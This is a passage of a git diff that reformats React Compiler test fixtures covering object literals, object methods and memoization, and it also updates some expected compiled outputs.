diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.expect.md
index 98cb57e80351..cafa06298a40 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.expect.md
@@ -7,9 +7,9 @@ import {
   identity,
   CONST_STRING0,
   CONST_STRING1,
-} from "shared-runtime";
+} from 'shared-runtime';
 
-function useHook({ value }) {
+function useHook({value}) {
   return {
     getValue() {
       return identity(value);
@@ -21,7 +21,7 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.js
index 43be86127ce0..7f96298511a1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.js
@@ -3,9 +3,9 @@ import {
   identity,
   CONST_STRING0,
   CONST_STRING1,
-} from "shared-runtime";
+} from 'shared-runtime';
 
-function useHook({ value }) {
+function useHook({value}) {
   return {
     getValue() {
       return identity(value);
@@ -17,5 +17,5 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.expect.md
index f11a0ab28dd2..ef8b8ef430ff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity, createHookWrapper } from "shared-runtime";
+import {identity, createHookWrapper} from 'shared-runtime';
 
-function useHook({ isCond, value }) {
+function useHook({isCond, value}) {
   return isCond
     ? identity({
         getValue() {
@@ -16,7 +16,7 @@ function useHook({ isCond, value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ isCond: true, value: 0 }],
+  params: [{isCond: true, value: 0}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.js
index 50be5d697891..e2e2a0bffccb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.js
@@ -1,6 +1,6 @@
-import { identity, createHookWrapper } from "shared-runtime";
+import {identity, createHookWrapper} from 'shared-runtime';
 
-function useHook({ isCond, value }) {
+function useHook({isCond, value}) {
   return isCond
     ? identity({
         getValue() {
@@ -12,5 +12,5 @@ function useHook({ isCond, value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ isCond: true, value: 0 }],
+  params: [{isCond: true, value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.expect.md
index 0eab70530862..41b8d802d3cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { createHookWrapper } from "shared-runtime";
+import {createHookWrapper} from 'shared-runtime';
 
-function useHook({ isCond, value }) {
+function useHook({isCond, value}) {
   return isCond
     ? {
         getValue() {
@@ -16,7 +16,7 @@ function useHook({ isCond, value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ isCond: true, value: 0 }],
+  params: [{isCond: true, value: 0}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.js
index 5ec66428247f..84617e7c8bcd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.js
@@ -1,6 +1,6 @@
-import { createHookWrapper } from "shared-runtime";
+import {createHookWrapper} from 'shared-runtime';
 
-function useHook({ isCond, value }) {
+function useHook({isCond, value}) {
   return isCond
     ? {
         getValue() {
@@ -12,5 +12,5 @@ function useHook({ isCond, value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ isCond: true, value: 0 }],
+  params: [{isCond: true, value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.expect.md
index 75351ae849bb..51463b326d35 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.expect.md
@@ -2,13 +2,9 @@
 ## Input
 
 ```javascript
-import {
-  createHookWrapper,
-  CONST_STRING0,
-  CONST_STRING1,
-} from "shared-runtime";
+import {createHookWrapper, CONST_STRING0, CONST_STRING1} from 'shared-runtime';
 
-function useHook({ value }) {
+function useHook({value}) {
   return {
     getValue() {
       return identity(value);
@@ -20,7 +16,7 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.js
index 0e4817410507..c414f4a946de 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.js
@@ -1,10 +1,6 @@
-import {
-  createHookWrapper,
-  CONST_STRING0,
-  CONST_STRING1,
-} from "shared-runtime";
+import {createHookWrapper, CONST_STRING0, CONST_STRING1} from 'shared-runtime';
 
-function useHook({ value }) {
+function useHook({value}) {
   return {
     getValue() {
       return identity(value);
@@ -16,5 +12,5 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.expect.md
index e38780e837d1..6900cd5b8218 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Component(props) {
-  const x = { ...props.foo };
+  const x = {...props.foo};
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.js
index 940b52d51bc5..d3a2d2846e7e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.js
@@ -1,10 +1,10 @@
 function Component(props) {
-  const x = { ...props.foo };
+  const x = {...props.foo};
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.expect.md
index df90f9f1a436..74c0dcdc14f5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { createHookWrapper, setProperty } from "shared-runtime";
+import {createHookWrapper, setProperty} from 'shared-runtime';
 function useHook(props) {
   const x = {
     getX() {
@@ -11,7 +11,7 @@ function useHook(props) {
   };
   const y = {
     getY() {
-      return "y";
+      return 'y';
     },
   };
   return setProperty(x, y);
@@ -19,7 +19,7 @@ function useHook(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
 
 ```
@@ -38,13 +38,11 @@ function useHook(props) {
         return props;
       },
     };
-
     const y = {
       getY() {
         return "y";
       },
     };
-
     t0 = setProperty(x, y);
     $[0] = props;
     $[1] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.js
index 757023d1cd5a..dbb1800c9778 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-maybe-alias.js
@@ -1,4 +1,4 @@
-import { createHookWrapper, setProperty } from "shared-runtime";
+import {createHookWrapper, setProperty} from 'shared-runtime';
 function useHook(props) {
   const x = {
     getX() {
@@ -7,7 +7,7 @@ function useHook(props) {
   };
   const y = {
     getY() {
-      return "y";
+      return 'y';
     },
   };
   return setProperty(x, y);
@@ -15,5 +15,5 @@ function useHook(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.expect.md
index 95f45f7cad09..886eb119d36b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { createHookWrapper, mutate } from "shared-runtime";
+import {createHookWrapper, mutate} from 'shared-runtime';
 
 function useHook(a) {
-  const x = { a };
+  const x = {a};
   let obj = {
     method() {
       mutate(x);
@@ -17,7 +17,7 @@ function useHook(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ x: 1 }],
+  params: [{x: 1}],
 };
 
 ```
@@ -39,7 +39,6 @@ function useHook(a) {
         return x;
       },
     };
-
     t0 = obj.method();
     $[0] = a;
     $[1] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.expect.md~051f3e57 ([hir] Do not memoize object methods separately) b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.expect.md~051f3e57 ([hir] Do not memoize object methods separately)
deleted file mode 100644
index f4354f427cf8..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.expect.md~051f3e57 ([hir] Do not memoize object methods separately)	
+++ /dev/null
@@ -1,47 +0,0 @@
-
-## Input
-
-```javascript
-import { mutate } from "shared-runtime";
-
-function Component(a) {
-  const x = { a };
-  let obj = {
-    method() {
-      mutate(x);
-      return x;
-    },
-  };
-  return obj.method();
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ x: 1 }, { a: 2 }, { b: 2 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { mutate } from "shared-runtime";
-
-function Component(a) {
-  const x = { a };
-  const obj = {
-    method() {
-      mutate(x);
-      return x;
-    },
-  };
-  return obj.method();
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ x: 1 }, { a: 2 }, { b: 2 }],
-};
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.js
index d3180db0c9fa..ef8b122bbb4f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-3.js
@@ -1,7 +1,7 @@
-import { createHookWrapper, mutate } from "shared-runtime";
+import {createHookWrapper, mutate} from 'shared-runtime';
 
 function useHook(a) {
-  const x = { a };
+  const x = {a};
   let obj = {
     method() {
       mutate(x);
@@ -13,5 +13,5 @@ function useHook(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ x: 1 }],
+  params: [{x: 1}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.expect.md
index 3ad02df03054..1674c16e88b3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { createHookWrapper, mutate, mutateAndReturn } from "shared-runtime";
-function useHook({ value }) {
-  const x = mutateAndReturn({ value });
+import {createHookWrapper, mutate, mutateAndReturn} from 'shared-runtime';
+function useHook({value}) {
+  const x = mutateAndReturn({value});
   const obj = {
     getValue() {
       return value;
@@ -16,7 +16,7 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
 
 ```
@@ -37,7 +37,6 @@ function useHook(t0) {
         return value;
       },
     };
-
     mutate(x);
     $[0] = value;
     $[1] = obj;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.js
index a4894a2462cd..03058d857bfb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-aliased-mutate-after.js
@@ -1,6 +1,6 @@
-import { createHookWrapper, mutate, mutateAndReturn } from "shared-runtime";
-function useHook({ value }) {
-  const x = mutateAndReturn({ value });
+import {createHookWrapper, mutate, mutateAndReturn} from 'shared-runtime';
+function useHook({value}) {
+  const x = mutateAndReturn({value});
   const obj = {
     getValue() {
       return value;
@@ -12,5 +12,5 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.expect.md
index f4f9a21ed66a..6c135bb0ebf9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { createHookWrapper, mutateAndReturn } from "shared-runtime";
-function useHook({ value }) {
-  const x = mutateAndReturn({ value });
+import {createHookWrapper, mutateAndReturn} from 'shared-runtime';
+function useHook({value}) {
+  const x = mutateAndReturn({value});
   const obj = {
     getValue() {
       return x;
@@ -15,7 +15,7 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.js
index dbbd76afbf87..a5c919984d0b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-derived-value.js
@@ -1,6 +1,6 @@
-import { createHookWrapper, mutateAndReturn } from "shared-runtime";
-function useHook({ value }) {
-  const x = mutateAndReturn({ value });
+import {createHookWrapper, mutateAndReturn} from 'shared-runtime';
+function useHook({value}) {
+  const x = mutateAndReturn({value});
   const obj = {
     getValue() {
       return x;
@@ -11,5 +11,5 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.expect.md
index 4a0584440205..2f130f32c74a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { createHookWrapper } from "shared-runtime";
-import { useState } from "react";
+import {createHookWrapper} from 'shared-runtime';
+import {useState} from 'react';
 function useFoo() {
   const [state, _setState] = useState(false);
   return {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.js
index f71a25a2eeab..da9a8ba13947 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-hook-dep.js
@@ -1,5 +1,5 @@
-import { createHookWrapper } from "shared-runtime";
-import { useState } from "react";
+import {createHookWrapper} from 'shared-runtime';
+import {useState} from 'react';
 function useFoo() {
   const [state, _setState] = useState(false);
   return {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.expect.md
index 46d532308bb3..9c73dd6f9925 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { createHookWrapper, mutate, mutateAndReturn } from "shared-runtime";
-function useHook({ value }) {
-  const x = mutateAndReturn({ value });
+import {createHookWrapper, mutate, mutateAndReturn} from 'shared-runtime';
+function useHook({value}) {
+  const x = mutateAndReturn({value});
   const obj = {
     getValue() {
       return x;
@@ -16,7 +16,7 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
 
 ```
@@ -37,7 +37,6 @@ function useHook(t0) {
         return x;
       },
     };
-
     mutate(obj);
     $[0] = value;
     $[1] = obj;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.js
index 010582f36717..29928376bd03 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand-mutated-after.js
@@ -1,6 +1,6 @@
-import { createHookWrapper, mutate, mutateAndReturn } from "shared-runtime";
-function useHook({ value }) {
-  const x = mutateAndReturn({ value });
+import {createHookWrapper, mutate, mutateAndReturn} from 'shared-runtime';
+function useHook({value}) {
+  const x = mutateAndReturn({value});
   const obj = {
     getValue() {
       return x;
@@ -12,5 +12,5 @@ function useHook({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: createHookWrapper(useHook),
-  params: [{ value: 0 }],
+  params: [{value: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.expect.md
index 25e11406046a..ebfa1d8d3162 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.expect.md
@@ -13,7 +13,7 @@ function Component() {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 1 }, { a: 2 }, { b: 2 }],
+  params: [{x: 1}, {a: 2}, {b: 2}],
 };
 
 ```
@@ -31,7 +31,6 @@ function Component() {
         return 1;
       },
     };
-
     t0 = obj.method();
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.js
index b9958b4d44d6..f7bf87e26e0f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-method-shorthand.js
@@ -9,5 +9,5 @@ function Component() {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 1 }, { a: 2 }, { b: 2 }],
+  params: [{x: 1}, {a: 2}, {b: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.expect.md
index bfe8339fcf88..b5534114c08a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const object = makeObject_Primitives();
@@ -17,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false, value: [0, 1, 2] }],
+  params: [{cond: false, value: [0, 1, 2]}],
 };
 
 ```
@@ -29,9 +29,9 @@ import { c as _c } from "react/compiler-runtime";
 import { makeObject_Primitives } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(3);
   let t0;
-  if ($[0] !== props) {
+  if ($[0] !== props.cond || $[1] !== props.value) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
       const object = makeObject_Primitives();
@@ -45,10 +45,11 @@ function Component(props) {
         break bb0;
       }
     }
-    $[0] = props;
-    $[1] = t0;
+    $[0] = props.cond;
+    $[1] = props.value;
+    $[2] = t0;
   } else {
-    t0 = $[1];
+    t0 = $[2];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.js
index 513a752c071c..94a142d03370 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-mutated-in-consequent-alternate-both-return.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const object = makeObject_Primitives();
@@ -13,5 +13,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false, value: [0, 1, 2] }],
+  params: [{cond: false, value: [0, 1, 2]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.expect.md
index 5106bfae928d..ad8828770dfc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.expect.md
@@ -2,16 +2,16 @@
 ## Input
 
 ```javascript
-function component({ a, b }) {
-  let y = { a };
-  let z = { b };
-  return { y, z };
+function component({a, b}) {
+  let y = {a};
+  let z = {b};
+  return {y, z};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.js
index bf95dc3da095..6bebf0633cdd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-pattern-params.js
@@ -1,11 +1,11 @@
-function component({ a, b }) {
-  let y = { a };
-  let z = { b };
-  return { y, z };
+function component({a, b}) {
+  let y = {a};
+  let z = {b};
+  return {y, z};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.expect.md
index f29ddc09cce6..290901a4d134 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-properties.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function foo(a, b, c) {
   const x = a.x;
-  const y = { ...b.c.d };
+  const y = {...b.c.d};
   y.z = c.d.e;
   foo(a.b.c);
   [a.b.c];
